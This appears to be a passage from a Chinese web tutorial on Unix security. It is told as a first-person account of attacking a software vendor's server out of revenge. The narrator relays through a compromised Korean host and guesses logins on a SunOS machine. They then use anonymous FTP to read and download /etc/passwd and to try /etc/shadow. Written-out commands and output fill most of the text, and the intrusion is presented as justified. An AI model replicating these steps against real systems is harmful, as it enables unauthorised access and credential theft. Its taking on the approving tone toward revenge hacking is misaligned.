主流Unix操作系统的安全检测和防范


§.前言

这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。

§.Unix的特点

Unix能流行起来绝对不是偶然的,这跟Unix本身的特点之突出是分不开的特点,那就是:1、极强的可移植性;2、启动异步进程的能力;3、一致的文件、设备和进程间I/O;5、层次化的文件系统;6、可用其它Shell来替代默认Shell的能力; 7、真正的多用户和多任务。

列位注意,通常的Unix系统用户有两种:根用户和普通用户。

1.root——根用户

这是SuperUser(超级用户)的帐号,可以用这个帐号对本系统进行所有操作!获得对系统的根访问权限,也是黑客们拼命追求的终极目标。

2.普通用户

给User(普通用户)使用,具体权限由root分配的账户。可以有多个等级。黑客们多由此类账户开始试图进入系统,如下例就是如此。

§.攻击Unix系统的范例

先补了一些关于Unix的知识,下面我们要开始小试牛刀了。我们的攻击平台是一台安装了Redhat 6.0(内核版本2.2.5-15)的工作站(当然Win9x/Win2000上也可以试试啰!)。

声明:本文中的目标主机的IP分别是202.202.0.8、202.103.10.110和211.50.33.117,以上IP纯属本人杜撰。如该IP所属主机确实存在,则纯属巧合。

开始啦!

“又死机了!这是什么烂东西?可恶!”我愤怒地猛击键盘“还号称全智能化软件……给您‘身临其境的美妙体验’……,完全是放P!”我怒吼着。才买几天的英语学习软件就频频死机,而且花去了不菲的xxx大元人民币,使我有一种彻底受骗的感觉。“你这个骗子,我非要给你点厉害看看,看你还到处骗人!”我一边愤愤地叫着,一边抄下了包装盒上那个“骗子”软件公司的网址:www.shitsoft.com.cn 。当夜无话。

第二天。忙了一早上,直到中午吃完中餐后才闲下来,众人皆昏昏然欲见周公,我则坐到我的红帽子旁,开始了正义的惩罚……

首先找一台Proxy,这样就不会被反查法给抓到了。^_^ 不知原来那台韩国的“公鸡”还在不在?试一试:

bash# telnet 211.50.33.117

Red Hat Linux release 6.2 (Goozer)

Kernel 2.2.14-5.0 on an i686

login:crossbow

password:

bash$Content$nbsp;

Ok! 还可以用,这么长时间没有理它,竟然还可以用!韩国的管理员真是太“好”了!^_^ 接着ping一下我们的目标,看看它长得啥模样:

bash$Content$nbsp;pwd

/home/crossbow

bash$Content$nbsp;ping www.shitsoft.com.cn

Pinging www.shitsoft.com.cn [202.202.0.8] with 32 bytes of data:

Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

Ping statistics for 202.202.0.8:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

速度不慢,看IP是中国教育网的机器,从TTL看估计是一台Unix。验证一下:

bash$Content$nbsp;telnet 202.202.0.8

SunOS 5.6

login:

呵呵,是一台SunOS 5.6的烂机器。先猜猜看:

login:adm

password:

Login incorrect

login:oracle

password:

Login incorrect

login:ftp

password:

Login incorrect

^C

可恶!今天火气真差!一个没猜到。:-( 用messala扫描一下看有没有CGI漏洞:(略去复杂的扫描过程)………… 结果是滴水不漏!:-( 这个鸟管理员还挺勤快的…… 只好用nss看看它开了什么服务吧!…………还好,telnet、ftp和finger的端口都打开了!^_^ 先看看有没有匿名ftp账户:

bash$Content$nbsp;ftp 202.202.0.8

Connected to 202.202.0.8...

220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.

Name(202.202.0.8:FakeName):anonymous

331 Guest login ok,send you complete e-mail address as password.

Password:

230:Welcome,archive user!

…………

…………

…………

ftp>

还行,匿名ftp服务没有关,竟然可以用anonymous账户进来了!赶紧抓他的passwd:

ftp>ls

…………

bin boot etc dev home lib usr proc lost+found root sbin src tmp usr var

…………

ftp>cd /etc

…………

ftp>ls *passwd*

…………

passwd passwd-

…………

不会如此简单吧?看一看?:

ftp>cat passwd|more

…………

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

telnet:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

ftp:60001:60001:Ftp:/:

noaccess:x:60002:60002:No Access User:/:

nobody:x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

walter:x:1001:100::/export/home/walter:/bin/sh

power:x:9589:101::/export/home/power:/bin/sh

deal:x:1035:20::/export/home/deal:/bin/sh

jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh

smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh

render:x:9591:101::/export/home/render:/bin/sh

…………

倒霉,是个空的passwd!看看备份:

ftp>cat passwd-|more

…………

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

telnet:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

ftp:60001:60001:Ftp:/:

noaccess:x:60002:60002:No Access User:/:

nobody :x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

walter:x:1001:100::/export/home/walter:/bin/sh

power:x:9589:101::/export/home/power:/bin/sh

deal:x:1035:20::/export/home/deal:/bin/sh

jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh

smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh

render:x:9591:101::/export/home/render:/bin/sh

…………

没救了,一样的!查查看有没有shadow文件:

ftp>ls *shadow*

…………

shadow shadow-

…………

哈哈,一般passwd是空的,那么密码就在shadow中!

ftp>cat shadow|more

…………

[sh$Content$nbsp;cat shadow|more]: Permission denied

…………

可恶,看都不让看,试试备份文件:

ftp>cat shadow-|more

…………

[sh$Content$nbsp;cat shadow-|more]: Permission denied

…………

都一样——不让看!Faint! 只好可怜惜惜地把空passwd抓回来——有几个用户名总比没有强吧?

ftp>get passwd

226 Transfer complete.

540 bytes received in 0.55 seconds (1.8Kbytes/s)

ftp>bye

221 Goodbye.

bash$Content$nbsp;

相关内容